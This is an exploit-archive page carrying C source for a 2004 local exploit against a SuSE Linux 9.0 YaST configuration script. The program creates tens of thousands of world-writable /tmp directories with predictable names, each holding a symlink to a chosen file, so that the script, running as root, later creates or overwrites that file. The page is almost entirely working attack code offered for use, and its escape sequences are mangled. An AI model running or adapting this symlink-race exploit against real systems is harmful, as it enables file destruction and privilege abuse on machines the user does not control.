[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : SuSE linux 9.0 YaST config Skribt Local Exploit
# Published : 2004-01-15
# Author : l0om
# Previous Title : rsync <= 2.5.7 Local stack overflow Root Exploit
# Next Title : Linux Kernel "mremap()"#2 Local Proof-of-concept


#include <stdio.h>  
 #include <unistd.h>  
 #include <string.h>  
  
 #define PATH "/tmp/tmp.SuSEconfig.gnome-filesystem."  
 #define START 1  
 #define END 33000  
  
 int main(int argc, char **argv)  
 {  
 int i;  
 char buf[150];  
  
 printf("tSuSE 9.0 YaST script 
SuSEconfig.gnome-filesystem exploitn");  
 printf("t-------------------------------------------------------------
n");  
 printf("tdiscovered and written by l0om 
<l0om excluded org>n");  
 printf("t WWW.EXCLUDED.ORGnn");  
  
 if(argc != 2) {  
 printf("usage: %s <destination-file>n",argv[0]);  
 exit(0xff);  
 }  
  
 printf("### hit enter to create or overwrite file %
s: ",argv[1]); fflush(stdout);  
 read(1, buf, 1); fflush(stdin);  
  
 umask(0000);  
 printf("workingnn");  
 for(i = START; i < END; i++) {  
 snprintf(buf, sizeof(buf),"%s%d",PATH,i);  
 if(mkdir(buf,00777) == -1) {  
 fprintf(stderr, "cannot creat directory [Nr.%d]
n",i);  
 exit(0xff);  
 }  
 if(!(i%1000))printf(".");  
 strcat(buf, "/found");  
 if(symlink(argv[1], buf) == -1) {  
 fprintf(stderr, "cannot creat symlink from %s to %s 
[Nr.%d]n",buf,argv[1],i);  
 exit(0xff);  
 }  
 }  
 printf("ndone!n");  
 printf("next time the SuSE.gnome-filesystem script 
gets executedn");  
 printf("we will create or overwrite file %s
n",argv[1]);  
 return(0x00);  
 }  /* i cant wait for the new gobbles comic!! */ 

// www.Syue.com [2004-01-15]